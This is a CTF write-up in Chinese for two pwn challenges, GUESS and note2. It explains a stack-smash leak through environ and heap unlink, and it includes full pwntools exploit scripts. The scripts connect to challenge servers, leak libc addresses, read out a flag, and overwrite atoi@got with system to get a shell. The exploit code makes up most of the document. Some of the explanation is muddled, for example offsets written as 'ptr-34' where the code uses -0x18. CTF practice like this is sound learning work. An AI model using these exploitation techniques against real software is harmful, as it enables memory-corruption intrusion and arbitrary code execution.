GUESS
知识点
stack smash\environ泄露栈地址
题解
这道题是一道栈题,好久没见栈题。
可以看到程序会把flag读入内存,之后fork子进程让你猜。这里需要事先了解fork工作方式:把父进程虚拟内存空间完全复制一份(具体来说,私有写时复制)这说明子进程会复制flag,以及栈上所有内容。利用这一点以及题目给我们的三次机会,结合canary smash原理解题。
stack smash之后会输出一串字符串,其地址是environ[0]。基本思路是通过gets()栈溢出,修改environ[0]地址,这样就可以通过stack_smash打印出想要的内容。
environ[0]与输入buffer之间的偏移可以调试得到
依次泄露puts_plt,得到libc基地址,system地址,再泄露栈上environ地址,最后计算environ[0]和内存中flag的偏移,就得到flag在栈上地址,即可泄露打印。均利用stack_smash
这里记住:直接在gdb里面输入environ即可得到environ[0]地址,也就是上图第二个红框0x7ffffffffe138
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./GUESS')
# libc = ELF('./libc-2.23.so')
io = remote('node4.buuoj.cn',25298)
# io = process('./GUESS')
puts_got = elf.got['puts']
def leak_addr(content):
io.recvline()
io.sendline(content)
io.recvuntil('*** stack smashing detected ***: ')
addr = u64(io.recv(6).ljust(8,'\x00'))
return addr
# step1: leak puts_addr
payload1 = 'a'*0x128+p64(puts_got)
puts_plt = leak_addr(payload1)
print "puts_plt----->" + hex(puts_plt)
libc = LibcSearcher("puts",puts_plt)
libc_base = puts_plt - libc.dump("puts")
print "libc_base----->" + hex(libc_base)
environ = libc.dump('__environ') + libc_base
# step2: leak environ
payload2 = 'a'*0x128 + p64(environ)
environ_addr = leak_addr(payload2)
print "enviorn in stack----->" + hex(environ_addr)
# step3: leak flag
payload3 = 'a'*0x128 + p64(environ_addr-0x168)
io.sendlineafter('Please type your guessing flag\n',payload3)
print io.recvline()
note2
这道题在wiki上也有,但是之前看了没看懂。搞了快一天,最后还是问了别人才明白unlink到底是什么意思
unlink本质上是一个在双向链表中取出一个链表的过程。wiki上面也写了,在没有对unlink检查的情况下,仅仅设置FD为addr-12,BK为expect_value可以实现任意地址写。但是在有检查之后需要设置FD为ptr-34,BK为ptr-24(这里4也可以为8,取决系统位数)绕过检查。这样导致顺序执行以下两条语句(如果取出p)
p->fd->bk=p->bk->fd
p->bk->fd=p->fd->bk
第一句导致p=&p-24
第二句导致p=&p-34
所以p=&p-34这样修改了ptr中储存的值。怎么利用呢?比如说可以edit这个note(3p32(0)+puts_got)这样show(note)打印的就是note+3*4也就是puts_plt的值。这道题就是这样利用的。除此以外,还利用了整数溢出实现堆溢出,来达到unlink效果。具体解释在wiki上unlink这一章有。这里的wp主要参考了网上的。
from pwn import *
from LibcSearcher import *
# p=process("./note2")
p = remote('node4.buuoj.cn',26847)
elf=ELF("./note2")
# libc = ELF('./libc.so.6')
context.log_level="debug"
strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]
atoi_got = elf.got["atoi"]
malloc_got = elf.got['malloc']
free_got = elf.got['free']
def new(content,length):
p.recvuntil(b'option--->>')
p.sendline(b"1")
p.recvuntil(b"Input the length of the note content:(less than 128)\n")
p.sendline(str(length).encode())
p.recvuntil(b"Input the note content:\n")
p.sendline(content)
pass
def show(idx):
p.recvuntil(b'option--->>')
p.sendline(b"2")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
pass
def edit(idx,mode,content):
p.recvuntil(b'option--->>')
p.sendline(b"3")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
p.sendline(str(mode).encode())
p.recvuntil(b"TheNewContents:")
p.sendline(content)
pass
def delete(idx):
p.recvuntil(b'option--->>')
p.sendline(b"4")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
pass
def exp():
name=b"aaaa"
address=b"bbbb"
p.recvuntil(b"Input your name:\n")
p.sendline(name)
p.recvuntil(b"Input your address:\n")
p.sendline(address)
#1 unlink
list_head = 0x602120
fake_fd = list_head-0x18
fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
#payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
new(payload1,0x40) #idx0
new(b"b"*0x8,0) #idx1
new(b"c"*0x10,0x80) #idx2
# gdb.attach(p,"b *0x400C67")
delete(1) # del idx1
payload2=b"b"*0x10+p64(0x60)+p64(0x90)
new(payload2,0) #idx3
delete(2)
#2 rewrite&leak
payload3=b"d"*0x18+p64(atoi_got)
edit(0,1,payload3)
show(0)
#gdb.attach(p)
p.recvuntil(b"Content is ")
atoi_plt = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00"))
libc = LibcSearcher('atoi',atoi_plt)
# print "malloc_plt----->" + hex(malloc_plt)
libc_base = atoi_plt - libc.dump('atoi')
print "libc_base----->" + hex(libc_base)
system=libc_base + libc.dump('system')
# print("strlen@got: ",hex(strlen_got))
print ("atoi@got: ",hex(atoi_got))
# print("strlen: ",hex(strlen))
print("system: ",hex(system))
# gdb.attach(p,"b *0x400D43")
#3 editatoi@got to system
payload4=p64(system)
edit(0,1,payload4)
p.recvuntil('option--->>')
p.sendline('/bin/sh\x00')
p.interactive()
if __name__=="__main__":
exp()